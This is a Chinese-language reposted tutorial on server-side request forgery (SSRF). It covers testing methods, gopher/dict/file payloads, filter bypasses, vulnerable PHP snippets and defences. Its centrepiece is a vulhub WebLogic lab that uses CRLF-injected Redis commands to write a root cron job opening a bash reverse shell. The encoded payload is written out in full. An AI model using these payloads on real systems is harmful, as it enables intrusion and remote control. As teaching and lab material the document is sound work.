原文:https://www.yuque.com/u938700/blog/xn6vq7

0x00 SSRF简介和原理

  • SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
  • 通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。

0x01 漏洞危害

  1. 扫描内网开放服务
  2. 向内部任意主机的任意端口发送payload来攻击内网服务
  3. 攻击内网的web应用,例如直接SQL注入、XSS攻击等
  4. 利用file、gopher、dict协议读取本地文件、执行命令等

0x02 漏洞常出现的地方

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

0x03漏洞验证

1、排除法:浏览器f12查看源代码看是否是在本地进行了请求

比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

2、dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)

3、抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址

  1. 3.1、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
  2. 3.2、通过二级域名暴力猜解工具模糊猜测内网地址
  3. 3.3、通过file协议读取内网信息获取相关地址

4、直接返回的Banner、title、content等信息

5、留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。

0x04简单的测试用例

创建一个PHP测试脚本,利用curl发送请求

  1. <?PHP
  2. $ch = curl_init();
  3. curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  4. curl_setopt($ch, CURLOPT_HEADER, 0);
  5. curl_exec($ch);
  6. curl_close($ch);
  7. ?>

利用的多种协议

gopher协议

  1. 使用gopher协议来查看协议,
  2. 访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:6667/_godzzz

浅谈SSRF 加redis反弹shell【转载】 - 图1“ class=”align-none”>

  1. 利用gopher发送POST的请求,
  2. 访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword

浅谈SSRF 加redis反弹shell【转载】 - 图2

dict协议

  1. dict 协议探测版本
  2. http://10.211.55.4/ssrf.php?url=dict://127.0.0.1:3306/

浅谈SSRF 加redis反弹shell【转载】 - 图3

FILE协议

  1. http://10.211.55.4/ssrf.php?url=file:///etc/passwd

http/https协议

  1. http://10.211.55.4/ssrf.php?url=http://ip:port

Weblogic SSRF漏洞

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

简单介绍

  • 如果内网开放了6379端口redis服务,尝试利用SSRF对redis执行未授权漏洞,可以直接反弹shell获取权限
  • Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
  • 因此,此漏洞在没有配置密码的情况下可以利用SSRF来绕过绑定在本地的限制,从而实现在外网攻击内网应用。

漏洞环境

参考vulhub的漏洞环境搭建

装个docker方便的很

docker-compose.yml

  1. version: '2'
  2. services:
  3. weblogic:
  4. image: vulhub/weblogic
  5. depends_on:
  6. - redis
  7. ports:
  8. - "7001:7001"
  9. redis:
  10. build: .

编译及启动测试环境

  1. docker-compose build
  2. docker-compose up -d

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

SSRF漏洞测试

SSRF漏洞存在于

  1. http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

1.比如探测自己的 7001端口,这是存在的

  1. http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

浅谈SSRF 加redis反弹shell【转载】 - 图4“ class=”align-none”>

2.比如这个 探测 172.19.0.2:6379是否开放,这种报错就是开放的

  1. http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379

浅谈SSRF 加redis反弹shell【转载】 - 图5“ class=”align-none”>

2.比如这个 探测 127.0.0.1:7000是否开放,这种报错就是不存在的端口

浅谈SSRF 加redis反弹shell【转载】 - 图6“ class=”align-none”>

攻击redis(通过header CRLF 注入)

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

查看docker redis的ip地址

  1. docker ps
  2. docker exec -it c5e88c76db40 ip addr
  3. 172.19.0.2docker redis的内网地址

浅谈SSRF 加redis反弹shell【转载】 - 图7

利用SSRF漏洞探测内网redis是否开放

发现redis存在

浅谈SSRF 加redis反弹shell【转载】 - 图8

payload生成

发送三条redis命令,将弹shell脚本写入/etc/crontab

写成计划任务,然后反弹shell

  1. test
  2. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/21 0>&1\n\n\n\n"
  3. config set dir /etc/
  4. config set dbfilename crontab
  5. save
  6. aaa

进行url编码:

  1. test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

注意,换行符是“\r\n”,也就是“%0D%0A”。

实施攻击

本机监听端口:nc -lvvp 2333

注意IP要填对

  1. http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp 这个肯定是weblogic的能访问的地方了
  2. operator=http://172.19.0.2:6379/ 这个是redis的IP和端口
  3. 最后一个ip
  4. 192.168.0.100%2F2333 这个是要反弹shell的主机ip和端口

浏览器访问:

  1. http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.100%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹shell成功!
浅谈SSRF 加redis反弹shell【转载】 - 图9

0x06 绕过技术

常用绕过方法

1.@

  1. http://abc@127.0.0.1
  2. 实际上是以用户名abc连接到站点127.0.0.1,同理
  3. http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
2.利用[::]
可以利用[::]来绕过localhost

  1. http://[::]:80/ >>> http://127.0.0.1

3.利用短网址

站长工具短网址(http://tool.chinaz.com/tools/dwz.aspx)
跳转要去的地址

4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

  1. 127.0.0.1.xip.io,可解析为127.0.0.1

5.利用DNS解析

在域名上设置A记录,指向127.0.0.1

6.302跳转

使用302跳转地址

7.利用进制转换

  1. 127.0.0.1
  2. 八进制:0177.0.0.1
  3. 十六进制:0x7f.0.0.1
  4. 十进制:2130706433

8.句号

  1. 127001 >>> 127.0.0.1

2、常见限制

1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址

0x07 审计php常见的函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

(1)file_get_contents() 函数从用户指定的url获取内容,并展示给用户。

  1. <?php
  2. $url = $_GET['url'];;
  3. echo file_get_contents($url);
  4. ?>

(2)fsockopen()

函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

  1. <?php
  2. function GetFile($host,$port,$link) {
  3. $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
  4. if (!$fp) {
  5. echo "$errstr (error number $errno) \n";
  6. } else {
  7. $out = "GET $link HTTP/1.1\r\n";
  8. $out .= "Host: $host\r\n";
  9. $out .= "Connection: Close\r\n\r\n";
  10. $out .= "\r\n";
  11. fwrite($fp, $out);
  12. $contents='';
  13. while (!feof($fp)) {
  14. $contents.= fgets($fp, 1024);
  15. }
  16. fclose($fp);
  17. return $contents;
  18. }
  19. }
  20. ?>

(3)curl_exec() 函数用于执行指定的cURL会话

  1. <?php
  2. if (isset($_POST['url'])){
  3. $link = $_POST['url'];
  4. $curlobj = curl_init();// 创建新的 cURL 资源
  5. curl_setopt($curlobj, CURLOPT_POST, 0);
  6. curl_setopt($curlobj,CURLOPT_URL,$link);
  7. curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
  8. $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
  9. curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
  10. $filename = './curled/'.rand().'.txt';
  11. file_put_contents($filename, $result);
  12. echo $result;
  13. }
  14. ?>

0x08防御技术

1、禁用不需要的协议(如:file:///gopher://,dict://等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP

参考

https://xz.aliyun.com/t/2115#toc-2

https://joychou.org/web/phpssrf.html